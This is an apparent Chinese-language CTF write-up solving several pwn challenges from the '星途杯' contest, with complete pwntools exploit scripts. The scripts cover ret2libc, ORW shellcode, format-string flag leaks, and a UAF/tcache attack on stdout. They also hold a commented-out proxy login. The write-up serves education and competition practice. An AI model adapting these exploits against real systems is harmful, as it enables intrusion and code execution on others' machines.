“星途杯”网络安全竞赛pwn全解及第一道ai的wp

发布时间:2026/7/10 7:10:11

“星途杯”网络安全竞赛pwn全解及第一道ai的wp 先用ida看看{7)3R1TET0EG26{TV}GFC普通的菜单题第一个这个比较的是字符的1234所以输字符输入2有栈溢出打ret2libc即可。exp如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *#from pwncli import *import sockscli_script()#from ae64 import AE64#from pymao import *context.log_level‘debug’context.arch‘amd64’elfELF(‘./pwn’)libc ELF(‘./libc.so.6’)libc1cdll.LoadLibrary(‘./libc.so.6’)li‘./libc.so.6’‘’’socks.set_default_proxy(socks.SOCKS5,“81.dart.ccsssc.com”,25790,username“1nkvap1o”,password“cl330rd”,rdnsTrue)socket.socket socks.socksocket‘’’flag 1if flag:p remote(‘xt.xl-lab.top’,33662)else:p process(‘./pwn’)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s))sd lambda s : p.send(s)sdr lambda s : p.send(str(s))rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name“—”hex(addr))u6 lambda a : u64(rc(a).ljust(8,b’\x00’).strip())i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [‘tmux’, ‘splitw’, ‘-h’]gdb.attach§#maybe gdbscript‘set debug-file-directory ./star’pause()rdi0x40129aback0x40136Fret0x401410puelf.sym[‘puts’]putself.got[‘puts’]sdr(2)pay0x58b’b’flat(rdi,puts,pu,back)sd(pay)ru(b\x1B[32m“发送完毕。”.encode()b\x1B[0m\n)libcbaseu6(6)-libc.sym[‘puts’]sylibcbaselibc.sym[‘system’]binshlibcbasenext(libc.search(b’/bin/sh’))pay0x58b’b’flat(ret,rdi,binsh,sy)sd(pay)ph(libcbase)ti()异步逃逸9GLRBT{VNDBDM0TTFBHE4这里ida没识别出来这个mmap64看汇编CVW}QPZIV47ST~M(WSYC相当于这个mmap64(0,0x2000,7,0x22,0xffffffff,0)。简单来说就是分配了一段可读可写可执行的大小为0x2000的内存(第三个参数权限是7)后面就简单了往v4写shellcode然后跳转过去执行shellcode没任何限制。沙箱允许ORW直接shellcraft生成就行了。exp如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *#from pwncli import *import sockscli_script()#from ae64 import AE64#from pymao import *context.log_level‘debug’context.arch‘amd64’elfELF(‘./pwn’)‘’’socks.set_default_proxy(socks.SOCKS5,“81.dart.ccsssc.com”,25790,username“1nkvap1o”,password“cl330rd”,rdnsTrue)socket.socket socks.socksocket‘’’flag 1if flag:p remote(‘xt.xl-lab.top’,33583)else:p process(‘./pwn’)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s))sd lambda s : p.send(s)sdr lambda s : p.send(str(s))rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name“—”hex(addr))u6 lambda a : u64(rc(a).ljust(8,b’\x00’).strip())i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [‘tmux’, ‘splitw’, ‘-h’]gdb.attach§#maybe gdbscript‘set debug-file-directory ./star’pause()payasm(shellcraft.open(b’./flag’,0))asm(shellcraft.read(3,0x4AD2BC,0x100))asm(shellcraft.write(1,0x4AD2BC,0x100))sd(pay)ti()蜜雪冰城前面的没啥意思不看了直接看漏洞点8QY88C203~Y(XHI%}YKAQ这里首先把flag写到栈上了然后有格式化字符串漏洞看后面可以知道是在会员的积分那里有格式化字符串漏洞。直接%p读出来flag的信息再用cyberchef的大端转化成小端和hex转字符串就可以读出来flag了。就演示第一段吧虽然是web但漏洞还是一样的。GL3OEFJJU28H~9WTH(8UGI2从%8p一直读到13就可以了PF3Y45TH21H0OK)(EIRRp一直读到13就可以了 PF3Y45TH21H0OK)(EIRRp一直读到13就可以了PF3Y45TH21H0OK)(EIRRD最后一段只有2字节要单独解0xa是换行符去掉单独解。DSS)R3}R7SFLDL7S$H85合起来就是flagflag{67b619c3-bab4-436b-bcc7-1ea3c9c7ceab}便签当时看不懂apk然后想黑盒打一下结果发现没程序调试并且libc版本是2.39而且我add的时候莫名其妙add不了所以就没写当时就先写ai去了(最后也没写出来…)…现在回头写一下。apk外壳没啥用直接看native层的libnote.so文件。PWWSVT0{(AYNN1)TCJZOI这里明显能看出来有UAFfree只是把是否使用的标志变成了未使用不能edit了罢了。其他逻辑也比较清晰就是他申请的时候必须输入申请的堆块大小的数据并且最小是0x10最大是0x500其他的部分就很普通了还有就是他show用的是write因为把空字节打印出来了(都是远程试出来的)。不过这题比较难受的地方就是动调不太好调但也问题不大这里正常应该是打house of apple等手法去getshell。不过因为我想看看这个文件到底是什么东西所以想着先把这个文件dump下来。因为看见key字段很小说明没开pie。那dump的思路就简单了先让一个堆块进unsortedbin去泄露libc(偏移就随便找个堆题patchelf一下free一个能进unsortedbin的堆块gdb算一下偏移即可)然后打tcache attack去打stdout指针。不过这里的stdout好像不太一样如果只改0x30是泄露不出来的。要把后面的一些部分清零才行。泄露的脚本如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *from pwncli import *import sockscli_script()#from ae64 import AE64#from pymao import *context.log_level‘debug’context.arch‘amd64’libcELF(‘./libc.so.6’)‘’’socks.set_default_proxy(socks.SOCKS5,“81.dart.ccsssc.com”,25790,username“1nkvap1o”,password“cl330rd”,rdnsTrue)socket.socket socks.socksocket‘’’flag 1if flag:p remote(‘xt.xl-lab.top’,34536)else:p process(‘./pwn’)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s).encode())sd lambda s : p.send(s)sdr lambda s : p.send(str(s))rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name“—”hex(addr))u6 lambda a : u64(rc(a).ljust(8,b’\x00’))i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [‘tmux’, ‘splitw’, ‘-h’]gdb.attach§#maybe gdbscript‘set debug-file-directory ./star’pause()def add(s):ru(b’cmd‘)slr(1)ru(b’sz:’)slr(s)ru(b’dat:‘)sd(b’a’*s)def free(s):ru(b’cmd‘)slr(2)ru(b’idx:’)slr(s)def show(s):ru(b’cmd‘)slr(3)ru(b’idx:’)slr(s)def edit(s,a):ru(b’cmd‘)slr(4)ru(b’idx:’)slr(s)ru(b’dat:‘)sd(a)add(0x430)add(0x20)show(0)free(0)show(0)ru(b’len: 1072\n’)libcbaseu6(6)-0x203b20ph(libcbase)outlibcbaselibc.sym[‘IO_2_1_stdout’]sylibcbaselibc.sym[‘system’]add(0x80)#2free(2)show(2)ru(b’len: 128\n’)keyu6(8)ph(key)add(0x80)#3add(0x80)#4free(4)free(3)edit(2,p64(out^key)b’\x00’*0x78)ph(libcbase)add(0x80)ru(b’cmd‘)slr(1)ru(b’sz:’)slr(0x80)ru(b’dat: ‘)payflat({0x0:0xfbad2884,0x10:0x400000,0x20:0x400000,0x28:0x404320,0x70:1,0x80:0},fillerb’\x00’)sd(pay)datap.recvuntil(b’idx: 6’,dropTrue)with open(‘pwn’,‘wb’) as f:f.write(data)ti()

相关新闻